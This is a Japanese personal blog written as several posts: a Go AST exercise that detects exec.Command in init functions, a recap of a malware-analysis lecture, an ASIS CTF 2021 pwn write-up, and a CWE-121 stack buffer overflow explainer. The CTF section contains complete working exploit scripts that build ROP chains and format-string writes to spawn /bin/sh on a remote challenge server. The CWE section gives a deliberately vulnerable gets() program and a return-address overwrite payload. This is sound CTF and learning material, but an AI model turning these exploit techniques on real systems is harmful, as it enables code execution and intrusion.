    Defs: make(map[*ast.Ident]types.Object),
    Uses: make(map[*ast.Ident]types.Object),
    Implicits: make(map[ast.Node]types.Object),
    Selections: make(map[*ast.SelectorExpr]*types.Selection),
    Scopes: make(map[ast.Node]*types.Scope),
    InitOrder: []*types.Initializer{},
  }

  pkg, err := config.Check("lib", fset, []*ast.File{f}, info)
  if err != nil {
    return err
  }

  var execCommand types.Object
  for _, p:= range pkg.Imports() {
    if p.Path() == "os/exec" {
      execCommand = p.Scope().Lookup("Command")
      break
    }
  }

  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand(fset, info, execCommand, decl.Body)
  }
  return nil
}

func findCallCommand(fset *token.FileSet, info *types.Info, execCommand types.Object, root ast.Node) {
  ast.Inspect(root, func(n ast.Node) bool {
    call, _ := n.(*ast.CallExpr)
    if call == nil {
      return true
    }

    sel, _ := call.Fun.(*ast.SelectorExpr)
    if sel == nil {
      return true
    }

    fun := info.ObjectOf(sel.Sel)
    if fun == execCommand {
      pos := fset.Position(n.Pos())
      fmt.Fprintf(os.Stdout, "%s: find exec.Command in init\n", pos)
      return false
    }
    return true
  })
}

./testdata/lib/lib.go (解析対象)

package lib

import (
        "os"
        myexec "os/exec"
)

var Message = "hello"

func init() {
        cmd := myexec.Command("ls")
        cmd.Stdout = os.Stdout
        _ = cmd.Run()
}

#実行結果
go build .
./exercise01 testdata/lib/lib.go
testdata/lib/lib.go:11:9: find exec.Command in init

ちゃんと動いていますね。

  • 事後の感想

チューターとしては、Goのインストールの質問が来た時にGOHOMEとGOPATHの設定をチャットに書いたくらいであまりできることはありませんでしたので、このブログでそれなりに詳しく復習することで仕事をしたということにします。各ハンズオンの復習でかなりgo/astやgo/typesの中のコードをチェックしたのですが、Goの色々な機能を知ることもできました。インターフェースとかキャストとか何も知らない状態でGoのコードを読むのは「いったいこれは何なのだろう」から始まって中々大変だったので、まずは言語のDocumentationを読んで大まかな書き方を把握してからソースコードを読むようにした方が良かったかもと思いつつも、僕の場合は結局なにもしないままであることが多いので、こういう初めて触れる言語のソースコードを読まなければいけない状況を用意してもらえるのはありがたい経験でした。攻撃用以外のプログラムを書くことへの苦手意識をすこし克服できたと思っています。完全なるGo初心者かつプログラミング初心者が書いた内容ですので、用語の使い方とかで間違っている部分があったり、もっと良い説明の仕方があったりする場合は指摘をして頂けると嬉しいです。

[C6C7] Malware Analysis

(Real World Malware Analysis: Dissecting Stealthy Vector)

  • 概要

ghidraとghidra scriptを使用して、実際のマルウェアに対する静的解析を行い、暗号アルゴリズムの特定やコンフィグの取得方法を学ぶ。

  • 事前準備

ghidraのinstallが必要でしたが、特段問題はなかったと思います。マルウェア解析は自分があまり精進できていない部分になります。CTFのRevの問題は中級の入り口レベルのものは解けるようになりましたが、でかいプログラムを解析するのはどうにも途中で投げ出しがちで。それでも、それなりのサポートができるとは思っていましたが、結果から言うとまだまだでしたね。

  • 講義内容

僕は去年のC3-1, C3-2に同じ講義(扱うマルウェアは違う)を受けましたが、訳あって録画受講だったので、実際に受講生でディスカッション形式で行うのは初めてでした。やはり、実際に他の人と試行錯誤をしながらハンズオンに取り組むというのは、非常に効果が高いですね。実際のマルウェアの解析を扱っており、decompile後の結果とはいえ実際のコードを何でもかんでも載せていいのかどうか匙加減がわからないので、「こういうことを学んだよ」という説明を主に書きます。まだ完全な復習が終わっていないというのもありますが、Writeupは慎重に書いたものを後でアップできたらと思っています。

講義の導入部分ではマルウェアの種類やMITREのATT&CKの特にマルウェア周りの攻撃シチュエーションの話がありました。DLL-Side LoadingとかProcess Hollowingとか、僕はまだ何も実際に確認していないんだなぁと気づかされました。Mandiantのcapaというツールに関する話もあり、これは後で使います。

次にマルウェア解析の全体の流れの説明がありました。表層解析、動的解析、静的解析の順にお手軽ではなくなり、それぞれ長所と短所がありますが、その中でも静的解析は幅広い知識が要求され、かつ、時間もかかるので大変ですよというお話でした。

PE FormatやWindows APIにもざっくり触れました。末尾がAとWの違いで、A(asciiの方)はW(UTF-16の方)のapiのラッパーだとかそういったところです。僕はいまだにWin API特有の型名に慣れていないらしい。Ghidraの各ウィンドウの機能も確認して、いざ一つ目の擬似マルウェア(41154F3という文字列が入っていたりするように講師の方が講習目的で作成されたもの)の解析に入ります。

エントリーポイントから見ていくTop Down解析と文字列やAPIから辿るBottom Up的な解析がありますが、今回はTop Down解析の入り口、WinMainを見つけるところからです。Symbol treeのentry関数から辿っていったら見つかりますね。exeファイルとして同じ拡張子を持っていても、コンパイラや使っている言語が違えばエントリーポイントの各関数や構造は全く異なっていた記憶があるので、特にSymbol情報がStrippedなバイナリで余計な場所の解析に時間を取られないよう、この手順を確認することは意味があることだと思います。

次にcapaを使いました。このツールはそのバイナリの中にある機能を表示してくれるものです。詳細な解析に入る前に、機械的な処理だけでざっとマルウェアの特徴を掴むことができます。capaの限界として、ImportテーブルのAPIやプログラム中の文字列等をもとにルールで検知しているので、難読化に弱いようです。APIの難読化として、たとえばLoadLibrary等のAPIでわざわざ実行時にDLL等をロードして、GetProcAddressを使ってそのDLL内のAPIへのアクセスを提供するといった方法があります。

お次はマルウェアのコンフィグの抽出です。一部のローカル変数(特に隣接している)がWinMainの内部で執拗に使いまわされていたら、マルウェアの動作を管理している構造体である可能性が高く、コンフィグとして抽出するメリットがあります。このコンフィグはマルウェアの挙動を理解しやすくなるだけでなく、ただ一部のパラメータを弄っただけの同じファミリーのマルウェアに対しても有用であり、また、各マルウェアをファミリーに分類するための情報源の一つとなります。C4C5の講義でもそうですし、Linux KernelのExploitの勉強をしていてもそうですが、色々なところで構造体を使ったプログラムの実装があるんだなと日々実感しており、マルウェア開発している人々も、当然構造体を使っているんでしょうね。

コンフィグらしき構造体を初期化している処理を確認して、ghidraのauto_struct機能を使ってCONFIG構造体のメンバやそのメンバの型などを特定したりしました。初期化の処理ではバイナリに埋め込まれたデータをxor等で復号する処理があり、ここに対してはghidra scriptsを書いて実行することで自動化するという演習がありました。こういったハンズオンはまっさらな状態から自分の手であれこれやるから意味があって、まさにseccampは最適な環境だと再認識しました。CONFIG構造体のメンバ最終的に何のAPIに渡されているかをチェックすると、各メンバの機能がわかってきます。他にも、stack上にレジストリの文字列を作ることで文字列ベースの検出回避しようとするコードがあって、一方でその程度の難読化はcapaがそれをちゃんと検知しており、create or open registry keycontain obfuscated stackstrings等のタグ付けがされていました。総じてマルウェア解析の導入に相応しい擬似マルウェアの解析のハンズオンだったと思います。

後半は実際のマルウェアの解析演習です。これは、後で時間を取って詳細なwriteupを書くのでざっと説明します。

DllMainとServiceMainが存在することから、DLLがWindowsサービスとして実行されるタイプのマルウェアです。マルウェアの中から三つほどの大きめのコードブロックを抽出し、そのブロックの動作を追うことでマルウェアの全貌を把握するといった流れの解析を行いました。

一つ目のコードブロックではある関数が大量に呼び出されており、その関数の返り値がそれぞれ配列に格納されていました。関数の動作の目的を知るには入力(引数)と出力(返り値、あるいは操作結果を格納する構造体)にフォーカスして調べることが有効で、今回の関数はGetProcAddressというWin APIの結果が返されるものであったので、api解決の関数であろうということでresolve_apiという関数名をghidra上で割り振るといった感じに進めていきます。

また、resolve_api内部では第一引数に渡されたバイト列は第二引数と共にとある関数に渡されており、その関数によって変更されたバイト列をGetModuleHandleAというapiに渡すことでGetProcAddressのためのhModuleを用意しています。この関数はとある暗号アルゴリズムを使って意味のある文字列を復号していると考えられ、この暗号アルゴリズムを特定しようというハンズオンがありました。受講生全体を二つに分けて各グループにチューター1人という形で解析を進めていったんですが、自分の方では暗号アルゴリズムを特定できませんでした(個別にできていた受講生はいたかもしれません)。暗号アルゴリズムの特定にはcapaのコメントを参考にするほか、暗号アルゴリズムに使われていそうな定数の値を検索する方法も有効で、今回はその定数で検索するとRFC7539のChaCha20がヒットします。capaのコメントではrc4等書いてあったりするので、コメントは参考にはしつつも鵜呑みにしてはいけないという例でした。気軽に検索する癖をつけないといけませんね。

次にghidra scriptを用いてresolve_apiでどのapiを呼び出しているかわかりやすくしようというハンズオンがありました。ChaCha20のdecryptをするghidra scriptを書いてどのapiを呼び出しているのかを特定するという一つ目のステップと、多数の変数を手でrenameなんてしたくないので、各apiの名前のフィールドをもつ構造体をCのヘッダーファイルの形で定義して、復号するためのバイト列を格納している配列へその構造体を適用することで一気にresolve_apiの第一引数のバイト列が各apiの名前として表示されるようにするという二つ目のステップがあり、なかなかに大変でしたね。

ここまで書いていて思ったんですが、この関数だとかその構造体だとか、対応するコードが示されていないとなんだかよくわかりませんね。実際にはこの後も、configもChaCha20で復号されてから使われているからそのdecryptのghidra scriptを書こう、等の複数のハンズオンがあり、また、マルウェアの挙動としてもEtwEventWriteの多分エントリーポイントを機械語片で書き換えて無力化したりとか面白い内容があって、受講生とああでもないこうでもないと一緒になって解析を進めたわけですが、今回はここまでにして未来の自分が書くwriteupに任せようと思います。

  • 事後の感想

マルウェア解析に挑む人として、学ぶものは多かったです。というか、去年の録画受講では逃していたエッセンスを今回補うことができたという感じです。特にもっと時間に追われながら、解析に臨むべきですね。そうしないと、重要なとこだけサッと理解する力が身につかない。また、Cryptoにノータッチな状態ではありますが、マルウェアの難読化やパックに使われがちな暗号アルゴリズムくらいはサラッと学ぶべきだと気付かされました。

チューターとしても、もっとマルウェアと戯れている状態であったなら、より多くの有効なアドバイスや小話を挟めたりして、受講生により良い学びの機会を提供できていたのではないかという思いがあります。

まとめ

C2C3, C6C7等中途半端な記事を出してしまって申し訳ないです。10月から大学に復学してアップアップしており、そんな中で何も出せていないことが余計重石になっていたのでとりあえずブログを出すことには出したという気持ちです。writeupは完全理解した未来の自分がきっと書いてくれるはず。C1は受講生から問題のwriteup欲しいよって声があったら、あるいは、1ヶ月くらいたったら書いて出そうと思います。

後は、seccampで受講生の皆さんがかなりCTFに興味を持っているということで、TSGのyoutubeチャンネル東京大学TSG - YouTubeでpwnの導入動画を出そうと思っています。これは僕がsig-beginners-pwnという名前で2回ほどTSG内で開催したもので、ここに書くからには(編集とかのクオリティはお察しですが)ちゃんと出したいと思っていますが、嘘になったらごめん。チャンネル登録をしてもらえるとやる気が出るのでお願いします。少なくとも今年の駒場祭でまたLive CTF等があると思うのでよろしくお願いします。

ASIS CTF 2021 Writeup

seccamp後の活動として、参加したCTFのwriteupを書いていくことが決定したので早速書いていこうかと思います。 ASIS CTF 2021にチームTSGで参加をしました。自分は本番中にJust pwn itを解き、終わった後直ぐにABBRも解けたのでこの二つのexploitコードを共有しようと思います。

Just pwn it (pwn)

static linkedなバイナリです。

 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

justpwnit()内で呼び出されたset_element()内で"Index: "に0を入れて一周ループを回した際の状況を整理します。(2回目の"Index: "には1を入れました。)

text

# set_element()
...
│       └─> 0x00401182      8b45ec         mov eax, dword [var_14h]
│           0x00401185      4898           cdqe
│           0x00401187      488d14c50000.  lea rdx, [rax*8]
│           0x0040118f      488b45d8       mov rax, qword [var_28h]
│           0x00401193      488d1c02       lea rbx, [rdx + rax]
│           0x00401197      be80000000     mov esi, 0x80               ; rsi
│           0x0040119c      bf01000000     mov edi, 1           #;-- rip:0x004011a1 b    e85a030000     call sym.calloc             ; void *calloc(size_t nmeb, size_t size)
│           0x004011a6      488903         mov qword [rbx], rax
...

register

rax = 0x7fff239bf440
rbx = 0x7fff239bf448
rcx = 0x0040c288
rdx = 0x00000008
r8 = 0x7fff239bf1df
r9 = 0x00000000
r10 = 0x00409000
r11 = 0x00000202
r12 = 0x7fff239bf4c8
r13 = 0x7fff239bf4d8
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00000080
rdi = 0x00000001
rsp = 0x7fff239bf400
rbp = 0x7fff239bf430
rip = 0x004011a1
rflags = 0x00000246

stack

#- offset -      0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7fff239bf400  0000 0000 0000 0000 40f4 9b23 ff7f 0000  ........@..#.... 
0x7fff239bf410  0000 0000 0000 0000 3f3d 4000 0100 0000  ........?=@.....
0x7fff239bf420  0000 0000 0000 0000 3d12 4000 0000 0000  ........=.@.....
0x7fff239bf430  70f4 9b23 ff7f 0000 2f12 4000 0000 0000  p..#..../.@.....
# set_element()に飛んだ際のsaved rbp, saved RIPがここに格納されている
0x7fff239bf440  5050 f23a a77f 0000 0000 0000 0000 0000  PP.:............
# Indexで0を指定した結果callocの返り値はここに格納された
0x7fff239bf450  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x7fff239bf460  0000 0000 0000 0000 0000 0000 0100 0000  ................

set_element()内でcallocによってバッファがとられていますがその返り値はrbxのアドレスの指す領域に格納されます。このrbxの値はqword[rbp-0x28]+qword[rbp-0x14]*8の値が入れられており、rbp-0x28にはstackの領域のアドレスが、rbp-0x14にはset_element()内で"Index: "として入力した数字が入っています。これは、justpwnit()内でローカル変数領域に作ったポインタを格納する配列を、callocで取ったバッファのアドレスを格納するための配列としてset_element()内で扱っているからこのようなバイナリになっているわけですが、indexとして入力する数字に何ら制限を加えていないので、配列外のstack領域に対してcallocの返り値を格納することができてしまいます。

callocの返り値を入れると嬉しい領域はズバリsaved rbpの格納されている領域です。"Index: "に-2を指定することで実現されます。これによってset_element()からreturnする際にleave命令によってrbpがバッファのアドレスを指すようになるわけですが、その状態でさらにset_element()の呼び出し元ルーチンであるjustpwnit()内の有限ループを抜けてleave命令に到達したときにrbpの値はrspに代入されます。最終的にバッファの先頭アドレスがstackのtopに位置する状態になるので、予めバッファの中にROPのpayloadを組んでおけばROPが発火するというわけです。

exploitコード

static linkedなのでROP内ではexecveシステムコールによって/bin/shを起動することを目指します。これを実現するために、0x68732f6e69622fという値(asciiで見ると/bin/sh、リトルエンディアンに注意)をraxにpopし、rw可能領域のアドレスをrdiにpopし、qword[rdi], raxガジェットを実行することによってrdiに/bin/shの文字列を指すポインタが入っている状況を作り出す、という方法をとったために「rdiのポインタが指す文字列は/bin/sh\x00のように絶対pathでないといけない」というexecveシステムコールがうまくいくための条件に気が付きませんでした。それゆえにABBRに置いて悲しいことが起きるわけですが。

from pwn import *

elf = ELF('./justpwnit')

io = remote('168.119.108.148', 11010)
#io = process('./justpwnit')

pop_rdx_addr = 0x403d23
pop_rsi_addr = 0x4019a3
pop_rdi_addr = 0x401b0d
pop_rax_addr = 0x401001
mov_qword_addr = 0x401ce7
syscall_addr = 0x4013e9

def exploit(payload):
    for i in range(3):
        io.recvuntil('Index: ')
        io.sendline('0')
        io.recvuntil('Data: ')
        io.sendline('a')

    io.recvuntil('Index: ')
    io.sendline('-2')
    io.recvuntil('Data: ')
    io.sendline(payload)

payload1 = p64(0x0)
payload1 += p64(pop_rdx_addr)
payload1 += p64(0x0)
payload1 += p64(pop_rsi_addr)
payload1 += p64(0x0)
payload1 += p64(pop_rdi_addr)
payload1 += p64(0x40c030)
payload1 += p64(pop_rax_addr)
payload1 += p64(0x68732f6e69622f) # /bin/sh
payload1 += p64(mov_qword_addr)
payload1 += p64(pop_rax_addr)
payload1 += p64(0x3b)
payload1 += p64(syscall_addr)
exploit(payload1)
io.interactive()

ABBR (pwn)

static linkedなバイナリです。

 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

fgetsからは0x1000バイト分しか入力することができませんが、english_expand()にて省略として認識される文字列をrules.hの文字列に置き換えてmemcpyされるので、callocで取られた0x1000サイズのバッファを超えて書き込むことができます。またバッファの下には関数ポインタがありenglish_expand()のアドレスが入っていますが、ここを書き換えることで次のループの際に、main関数の中のアドレス0x402028にてrdxにその値が読みだされ0x402036にてcall rdxが実行された際にRIPを任意の場所へと持っていくことができます。

ここでいったんアドレス0x402036のcall rdxの際のstackとレジスタの値を整理しておきます。

text

# main()
...
│ │╎ 0x00402024 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x00402028 488b10 mov rdx, qword [rax]
│ │╎ 0x0040202b 488b45f8 mov rax, qword [var_8h]
│ │╎ 0x0040202f 488b4008 mov rax, qword [rax + 8]
│ │╎ 0x00402033 4889c7 mov rdi, rax
│ │╎ #;-- rip:
│ │╎ 0x00402036 b ffd2 call rdx
...

register

rax = 0x00eb5b70 # バッファの先頭アドレス
rbx = 0x00400530
rcx = 0x00459e62
rdx = 0x00401da5 # 関数ポインタに格納されている値
r8 = 0x00eb5b70
r9 = 0x00000000
r10 = 0x0049e522
r11 = 0x00000246
r12 = 0x004030e0
r13 = 0x00000000
r14 = 0x004c9018
r15 = 0x00000000
rsi = 0x004c9943
rdi = 0x00eb5b70 # バッファの先頭アドレス
rsp = 0x7ffc74bb09c0
rbp = 0x7ffc74bb09d0
rip = 0x00402036
rflags = 0x00000212

stack

#- offset -     0 1  2 3  4 5  6 7  8 9  A B  C D  E F 0123456789ABCDEF
0x7ffc74bb09c0 0000 0000 0000 0000 806b eb00 0000 0000 .........k......
# 0x7ffc74bb09c8 -> 関数ポインタの存在するアドレス
0x7ffc74bb09d0 4030 4000 0000 0000 7028 4000 0000 0000 @0@.....p(@.....
# 0x7ffc74bb09d8 -> main関数のreturn address
0x7ffc74bb09e0 0000 0000 0000 0000 0000 0000 0100 0000 ................
0x7ffc74bb09f0 080b bb74 fc7f 0000 781f 4000 0000 0000 ...t....x.@.....
# 0x7ffc74bb09f0 -> stack上を指すポインタ
0x7ffc74bb0a00 0000 0000 0000 0000 0000 0000 1700 0000 ................
0x7ffc74bb0a10 7100 0000 0000 0000 0000 0000 7000 0000 q...........p...
0x7ffc74bb0a20 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a30 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffc74bb0a40 0000 0000 0000 0000 0000 0000 0000 0000 ................

まず始めに考えたことは、適当なガジェットに飛ばすことでJust pwn itと同じようにRSPにバッファの先頭アドレスを格納することでしたが、よさげなガジェットを見つけることができなかったことや、RSPをバッファの先頭に飛ばしたところでnull文字をfgetsで入力できない以上バッファにROPを組み立てるのが難しそうなことから断念しました。ここで、個人的に詰まっていたんですが、カービーさんから「一応Format String Attack (FSA)ができるよ。」と教えてもらったのでそれで何とかすることにしました。

ここでFSAができる理由ですけれども、関数ポインタをprintf()のアドレスに書き換えると、printf()はrdiに格納されているアドレスを第一引数の書式指定文字列へのポインタとして認識するので、0x402036のcall rdxの際の状態を考えるとcallocで取られたバッファに格納されている文字列がそこに対応するようになるわけですね。よって今後はmain関数の毎回のループで1回FSAができるわけです。FSAでは%pを使ったstack上の値のリークと%c%nまたは%c%hnを使った値の書き込みができます。%nはstack上にある該当する値をアドレスとして参照し、バッファに出力したバイト数分をそこに書き込むわけです。つまり、この時点でWrite What Where (www)コンディションにあるわけです。

後は、FSAでstack上のアドレスと関数ポインタのアドレスをリークし、main()のリターンアドレスの格納されているところを起点としてFSAで地道にROPを組み立て、最後にFSAによって再度関数ポインタをmain()のleave命令のところへと書き換えるとROPが発火するということになります。static linkedでsystem関数等は存在しませんのでexecveシステムコールを呼ぶようにします。syscallの際にrdiには"/bin/sh\0"の文字列が格納されているアドレスが入っている必要がありますが、幸いcall rdxの際にrdiはバッファのアドレスが入っているのでROP発火の直前のfgets()にて"/bin/sh\0を入力すればよいです。execveシステムコールの場合は絶対pathを渡してあげる必要があって、/bin/shの文字列の最後にnull文字をつけるのはマストであることを知らなかったので時間に間に合いませんでした。(完ぺきな状態でsyscallを呼べているはずなのに動かなくてヘルプを求めたところ、モラさんが教えてくれました。)

exploitコード

ROPを組む際に%nで入力してるはずなのに8byteまるまる書き込まれなかったので、もともと値が入っている場所はpopのガジェットで全部取り除きました。後になって冷静に考えてみると、%hnが2byte書き込みなので%nは4byte書き込みなんですかね。後でチェックします。

FSAにおいて%7$pには関数ポインタのアドレスが、%12$pにはstack上のアドレス(%47$p)が、%47$pにはこれまたstackのアドレスが入っています。%hnを%12$pに対して行うことで%47$pにstackの任意のアドレスを格納し、次に%47$pに%nを行ってstackの任意のアドレスに対して任意の値を格納しています。

from pwn import *

elf = ELF('./abbr')
#io = process('./abbr')
io = remote('168.119.108.148', 10010)

ret_addr = 0x493d1a
three_pop_addr = 0x48caba
pop_rsi_two_pop_addr = 0x45d0a1
pop_rax_addr = 0x45a8f7
pop_rdx_addr = 0x4017df
syscall_addr = 0x473156

def send_percent(payload):
    io.recvuntil('Enter text: ')
    io.sendline(payload)

def change_heap_pointer(value):
    payload = '%' + str(value) + 'c%7$n'
    print(payload)
    return payload

def make_payload_value(value):
    payload = '%' + str(value) + 'c%47$n'
    print(payload)
    return payload

def make_payload_offset_hn(offset):
    payload = '%' + str(offset) + 'c%12$hn'
    print(payload)
    return payload

def make_rop(offset, value):
    send_percent(make_payload_offset_hn(offset))
    send_percent(make_payload_value(value))

# Change english_expand -> printf

io.recvuntil('Enter text: ')
io.send('www'*257)
io.sendline(p64(0x410ee0))

# Get heap address

send_percent('%7$p')
heap_addr = io.recvline()
print('heap_addr is ' + heap_addr)
heap_addr = int(heap_addr, 16)

# Get stack address

send_percent('%12$p')
base_addr = io.recvline()
base_addr = hex(int(base_addr, 16) - 0x130)
print('base_addr is ' + base_addr)

# FSB offset

base_offset = '0x' + base_addr[-4:]
print('base_offset is ' + base_offset)
base_offset = int(base_offset, 16)

# Set ROP

make_rop(base_offset, pop_rsi_two_pop_addr)
base_offset += 32
make_rop(base_offset, ret_addr)
base_offset += 8
make_rop(base_offset, three_pop_addr)
base_offset += 32
make_rop(base_offset, pop_rax_addr)
base_offset += 8
make_rop(base_offset, 59)
base_offset += 8
make_rop(base_offset, pop_rdx_addr)
base_offset += 16
make_rop(base_offset, syscall_addr)

send_percent(change_heap_pointer(0x40205c))

io.recvuntil('Enter text: ')
io.sendline('/bin/sh\0')

io.interactive()

まとめ

先輩方がもっと難しいpwnの問題等を通していたおかげで、TSGは全体で25位でした。僕がABBRを通していれば2つほど順位が上だったので、惜しかったなという気持ちであります。 userlandのstackがらみのpwnの問題は取り掛かれるようになってきたので、次はuserlandのheapのbinsがらみのお話をきちんと勉強していきたいですね。

(CWE-121)スタックベースのバッファオーバーフロー脆弱性

原文: CWE - CWE-121: Stack-based Buffer Overflow (4.4)

脆弱性の概要

スタック上のバッファが上書きされる脆弱性

 実行時のスタックには任意のコードを実行できる要因となり得るいくつかの重大なデータが存在している。最も有名なのはstored return addressで、return addressとは、現在実行中の関数が実行を終えた後にその次に実行されるべきメモリのアドレスである。攻撃者はその値を「実行したい任意のコードを置く用の、書き込むことのできるメモリ」のアドレスの値へと書き換える。もしくは、スタック上の引数を呼び出す関数用に調整するとともに、POSIXのsystem()のような重大な関数のアドレスへと書き換える。後者の攻撃は、呼び出し元に戻る際プログラムにlibcのルーチンにジャンプするよう強いることから、「a return into libc exploit」と呼ばれる。他に重要なスタック上のデータとしてstack pointerとframe pointerがあり、これら二つの値はスタックをコンピュータが操作するためのオフセットである。この二つの値を特定することは「write-what-where」1状態を導く一助となることがある。

関連する脆弱性

child of 

TODO:上の脆弱性の内容もブログにまとめてその記事のリンクをここに貼る

脆弱性が生まれるタイミング

  • 実装段階

プラットフォーム

この脆弱性によって起こるセキュリティの侵害

 大抵バッファオーバーフローはプログラムをクラッシュさせる。他にもプログラム中に無限ループを作るなど、可用性を侵害する攻撃を生み出し得る。また、バッファオーバーフローによって、プログラムの暗黙のセキュリティポリシーの範囲を超えたところで任意のコードを実行できるようになることがある。任意コード実行ができると他のセキュリティ機構も侵害し得る。

対策

  • ビルドしてコンパイルする際にバッファオーバーフローを検知して改善したり除去したりするようなコンパイラやその拡張機能を使う。例えばthe Microsoft Visual Studioの/GSオプション、Fedora/Red HatのFORTIFY_SOURCEオプション、StackGuard、ProPoliceなど。
  • 抽象ライブラリをつかってリスキーなライブラリを取り除く。(根本的な解決方法ではない)
  • StackGuard、ProPolice、Microsoft Visual Studioの/GSオプション等のコンパイラベースのカナリー機構を取り入れる。(自動で境界をチェックするだけなので完璧な対策ではない)
  • 入力に対する境界のチェックを実装して機能させる。
  • getsのような脆弱な関数を使わず境界チェック機能のある関数を使う。
  • ASLRのようなOS-levelでのセキュリティ機構を使う。(根本的な解決方法ではない)

脆弱性の再現

 ubuntu20.04にて検証を行いました。

//sample1.c
#include <stdio.h>
#include <stdlib.h>
#define BUFSIZE 256
void win()
{
    system("cat flag.txt");
}

int main(int argc, char **argv)
{
    char buf[BUFSIZE];
    gets(buf);
    return 0;
}

 gets()はNULL文字が読み込まれるまで際限なくバッファに入力を格納してしまうのでバッファのサイズを超えてスタックに書き込むことができてしまいます。他にもscanf("%s",)もほぼ同じ性質を持っています。まずはバッファオーバーフローの触りとしてこのプログラムの実行をwin()に移して同じディレクトリに作ったflag.txtを読み込むことにチャレンジします。問題の単純化のために様々なセキュリティ機構をオフにします。尚、このwin関数という表記はpwnable.xyzを参考にしましたが、プログラム自体は自作です。

$ gcc sample1.c -o sample1 -no-pie -fno-stack-canary

checksec.shをつかって念の為確認すると

 RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

canaryとPIEがオフになっています。

 さて、スタックはアドレスの高いところから低いところへと伸長していくメモリ領域です。引数がスタックに積まれた後、call命令で呼び出す関数のアドレスにジャンプするときに、命令を実行する時のレジスタripの値をスタックに格納してからジャンプします。当然rspの値は8bytes分小さくなります。次に、飛んだ先の関数でpush rbp、つまりrbpの値をスタックに保存します。このときもrspの値は8bytes分小さくなります。次にrbpにrspの値を代入します。その後、飛んだ先の関数のローカル変数用の領域をrspの値を更に減ずることで作り今後はそこに値を出し入れするわけです。今回のgets用のバッファはmain関数のローカル変数領域にあります。つまり、スタック上ではアドレスの高い方から、main関数を実行する直前のripの値8bytes、同じく直前のrbpの値8bytes、256bytesのバッファ、という順番に並んでいます。これを順にstored return address、stored rbp value、bufferと呼びます。

 関数を終了する際は、逆の手順が行われます。rspの値を足してローカル変数領域をスタックから消して(入ってる値そのものは消えませんがスタック上のデータとしてアクセスすることはできない状態にする)、pop rbpでスタックからrbpの値を復元し、その次にスタックに入っているはずの8bytesの値をstored return addressとして認識し、ret命令によってそのアドレスに実行を移すわけです。これら一連の流れはまさにアセンブラのコードそのもので、gdbやradare2などを使って確認することができます。

 ということはret命令を実行する前にそのstored return addressの値を任意の値に書き換えてしまえば、任意のアドレスに実行を移せる筈です。その書き換えを引き起こす一つの手段が本題のバッファーオーバーフローです。バッファオーバーフローはバッファとして用意した領域を乗り越えて値を書き込んでしまいます。x86_64では溢れ出した値はスタック上のバッファより高位アドレスを書き換えます。つまりバッファに257bytesをいれると、257bytes目の値はstored rbp valueのLSB(ここでは最下位バイトの意)を書き換えてしまうのです。また、特別なセキュリティ機構を設けない限りこれを検知することはできません。スタックは関数の呼び出しに応じて変化し、プログラム実行中に値の書き込みが頻繁に行われているので、書き込み不可領域は普通は存在しないからです。

 さてそれでは実際にstored return addressを書き換える入力を送ってみましょう。256+8bytes入力することでstored rbp valueまで書き換えられ、その次に意味をなすアドレスの値を8bytes送ればメイン関数からretする時に、その値をreturn addressとして解釈するはずです。リトルエンディアンであることに注意し、また、win関数の中でsystem関数が呼ばれていてsystem関数ではmovaps命令が呼ばれているので、スタックを16bytesでalignする必要があります。まずreadelfコマンドでwin関数のアドレスを確認します。

$ readelf -s sample1

 今回はwin関数のアドレスは0x401156でした。もしスタックが16bytesでalignされている状態であれば

$ python2 -c 'print "a"*264 + "\x56\x11\x40\x00\x00\x00\x00\x00" ' | ./sample1

としてflag.txtの中身が表示されるはずですが、segmentation faultで落ちました。ということで、途中にret命令しかないアドレスを挟むことでスタック上を16bytesにalignします。つまりスタック上にはstored return addressが2つ続けて積まれている状態を作り、最初のstored return addressはret命令の入っているどこかの領域のアドレスを入れます。そうするとret命令→ret命令→任意のアドレス(今回はwin関数のアドレス)という順番になり、まわりまわってsystem関数の中のmovaps対象の値のスタック上の位置も8bytesずれて16bytesでalignされているアドレスになるはずです。今回、メイン関数のret命令のアドレスはradare2で確認すると0x4011a3でした。最終的には

$ python2 -c 'print "a"*264 + "\xa3\x11\x40\x00\x00\x00\x00\x00" + \x56\x11\x40\x00\x00\x00\x00\x00" ' | ./sample1

とすればflag.txtの値を見ることができるはずです。尚、python2を使っているのは文字列とバイト列を足す際、python3だと型が違うと怒られてしまうからです。

対策に対する実験

 それでは、紹介されている対策を順に実行して、それに弱点はないのか見ていこうと思います(ほんのちょっとしかやっていません。)。まず、FORTIFY_SOURCEオプションを使ってみます。どうやらFORTIFY_SOURCEオプションは最適化オプションと一緒に使うみたいです。(以下のURLを参照)

Man page of FEATURE_TEST_MACROS

$ gcc sample1.c -o sample1-1 -fno-stack-protector -no-pie -D_FORTIFY_SOURCE=2 -O1 -Wall

 結果としてはオプションをつけていないときとつけたときでコンパイル時の警告の内容はあまりかわりませんでした(と、この時点では思っていました)。gets()がやばい関数だというのは有名で、なんのオプションを指定せずともgetsを使うなと言う警告が出ます。gets()の代わりにscanf()を使うとFORTIFY_SOURCEオプションをつけている時に新たに警告が出ましたが、それもscanfの返り値を使っていないというよくある警告でした。この場合はあまり関係ないですが(と、この時点では思っていました)、system関数の返り値も使っていないという警告も出ていました。バッファオーバーフローに関する警告は特になく、このオプションをつけた後もバッファオーバーフロー脆弱性そのものは実行することができました。しかし、上のURLのmanページによると

_FORTIFY_SOURCE が 1 に設定された場合、コンパイラの最適化レベルが 1 (gcc -O1) かそれ以上であれば、規格に準拠するプログラムの振る舞いを 変化させないようなチェックが実行される。 _FORTIFY_SOURCE が 2 に設定された場合、さらなるチェックが追加されるが、 規格に準拠するプログラムのいくつかが失敗する可能性がある。 いくつかのチェックはコンパイル時に実行でき、コンパイラの警告として 表示される。他のチェックは実行時に行われ、チェックに失敗した場合 には実行時エラーとなる。

